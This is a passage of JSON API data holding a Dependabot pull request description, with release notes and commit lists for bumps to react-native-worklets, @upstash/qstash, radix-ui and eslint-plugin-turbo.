href=\"https://redirect.github.com/software-mansion/react-native-reanimated/pull/9885\"\u003esoftware-mansion/react-native-reanimated#9885\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/compare/worklets-0.10.1...worklets-0.10.2\"\u003ehttps://github.com/software-mansion/react-native-reanimated/compare/worklets-0.10.1...worklets-0.10.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/3c04eb6d61ca4f43a10a5c04f127fa6f7a9de7ad\"\u003e\u003ccode\u003e3c04eb6\u003c/code\u003e\u003c/a\u003e release(Worklets): 0.10.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/1d2942f3ee83178c17a6efd60a21c268044a0eed\"\u003e\u003ccode\u003e1d2942f\u003c/code\u003e\u003c/a\u003e removed warn\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/10a562508f4062c06758f339f49fbcacbd7971cc\"\u003e\u003ccode\u003e10a5625\u003c/code\u003e\u003c/a\u003e Changed error to warning in createSerializable unserializable code branch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commit/570e6f73a173e366cac849badeb49fd88a156339\"\u003e\u003ccode\u003e570e6f7\u003c/code\u003e\u003c/a\u003e fix: read from path which starts with '/' in ScriptBufferWrapper.kt (\u003ca href=\"https://github.com/software-mansion/react-native-reanimated/tree/HEAD/packages/react-native-worklets/issues/9503\"\u003e#9503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/software-mansion/react-native-reanimated/commits/worklets-0.10.2/packages/react-native-worklets\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@upstash/qstash` from 2.11.1 to 2.11.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/upstash/qstash-js/releases\"\u003e@​upstash/qstash's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.11.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDX-2769: reject empty id in single-resource endpoints by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/268\"\u003eupstash/qstash-js#268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: multi-value filters for bulk message cancel + multi-label schedules by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/271\"\u003eupstash/qstash-js#271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: don't retry when retry is disabled by \u003ca href=\"https://github.com/CahidArda\"\u003e\u003ccode\u003e@​CahidArda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/upstash/qstash-js/pull/273\"\u003eupstash/qstash-js#273\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\"\u003ehttps://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/3ad58d386dcc0b86e2520de21b8c795df8c7ff69\"\u003e\u003ccode\u003e3ad58d3\u003c/code\u003e\u003c/a\u003e fix: don't retry when retry is disabled (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/273\"\u003e#273\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/36bfde584081629cde038561c2cd804d780a435a\"\u003e\u003ccode\u003e36bfde5\u003c/code\u003e\u003c/a\u003e feat: multi-value filters for bulk message cancel + multi-label schedules (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/271\"\u003e#271\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/upstash/qstash-js/commit/34911dcfa7ca820fcb056238a4972c6ed26c21c2\"\u003e\u003ccode\u003e34911dc\u003c/code\u003e\u003c/a\u003e DX-2769: reject empty id in single-resource endpoints (\u003ca href=\"https://redirect.github.com/upstash/qstash-js/issues/268\"\u003e#268\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/upstash/qstash-js/compare/v2.11.1...v2.11.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `radix-ui` from 1.6.1 to 1.6.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radix-ui/CHANGELOG.md\"\u003eradix-ui's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.6.2\u003c/h2\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded CSS custom properties for Navigation Menu item indicators' translate values.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Dismissable Layer causing background nested popovers to close all layers on outside click\u003c/li\u003e\n\u003cli\u003eFixed runtime errors for \u003ccode\u003eForm.Message\u003c/code\u003e, \u003ccode\u003eForm.Control\u003c/code\u003e, \u003ccode\u003eForm.Label\u003c/code\u003e and \u003ccode\u003eForm.ValidityState\u003c/code\u003e that are correctly rendered outside of \u003ccode\u003eForm.Field\u003c/code\u003e components\u003c/li\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eFixed a bug where calling an event handler without an argument would throw, preventing successive event handlers from being called. This affected all components that accept event handlers with internal implementations.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Context Menu to ensure that the menu properly re-anchors to the latest pointer position when re-triggered in its open state.\u003c/li\u003e\n\u003cli\u003eFixed stale \u003ccode\u003eonEscapeKeyDown\u003c/code\u003e/\u003ccode\u003eonDismiss\u003c/code\u003e handlers on React 19.2.\u003c/li\u003e\n\u003cli\u003eFixed items in a Roving Focus Group not being auto-focused on mount within a Focus Scope component.\u003c/li\u003e\n\u003cli\u003eFixed a regression in Dismissable Layer originating from a \u003ca href=\"https://redirect.github.com/react/react/pull/34831\"\u003ebug in React's \u003ccode\u003euseEffectEvent\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e--radix-scroll-area-corner-width\u003c/code\u003e and \u003ccode\u003e--radix-scroll-area-corner-height\u003c/code\u003e not resetting to \u003ccode\u003e0\u003c/code\u003e when a corner is removed. Previously these values would stick around and leave a permanent gap on the remaining scrollbar.\u003c/li\u003e\n\u003cli\u003eFixed a bug in Slider where stepping with the keyboard would skip a valid value when the current value is off the step grid. Stepping now snaps to the next step-aligned value in the direction of travel, matching native \u003ccode\u003e\u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt;\u003c/code\u003e behavior.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radix-ui\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-turbo` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eeslint-plugin-turbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f69971958b56e6a932c3d08a0347f4589c8734df\"\u003e\u003ccode\u003ef699719\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.5 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13331\"\u003e#13331\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6626261bcbb770b56e32a0a808097442504ca5af\"\u003e\u003ccode\u003e6626261\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13325\"\u003e#13325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e44a290fc7a1ac7f987ba27101f3320df396599\"\u003e\u003ccode\u003e7e44a29\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.3 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13302\"\u003e#13302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6e6fb628b065a81583de05044eb50fb71380087\"\u003e\u003ccode\u003ee6e6fb6\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13297\"\u003e#13297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6cd4986d79c1fe9d8cb0483a804f95f3a3de026\"\u003e\u003ccode\u003ee6cd498\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13294\"\u003e#13294\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f2fce38386587104688f8805fd8f585fc4e0bd1f\"\u003e\u003ccode\u003ef2fce38\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13286\"\u003e#13286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e02f94f647cb4d527a438313dc4adbe3e8c0df3\"\u003e\u003ccode\u003e7e02f94\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13278\"\u003e#13278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a31389ed39e539d97be58a9ca38d9f35be2e3d04\"\u003e\u003ccode\u003ea31389e\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/eslint-plugin-turbo/issues/13247\"\u003e#13247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ver...\n\n_Description has been truncated_","html_url":"https://github.com/imperialcoal/dw-portfolio-platform/pull/289","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/imperialcoal%2Fdw-portfolio-platform/issues/289","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/289/packages"},{"uuid":"4884659550","node_id":"PR_kwDOShy2OM7xn96T","number":11,"state":"open","title":"chore(deps): bump the npm-minor-patch group across 1 directory with 58 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T15:37:44.000Z","updated_at":"2026-07-14T15:37:45.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): 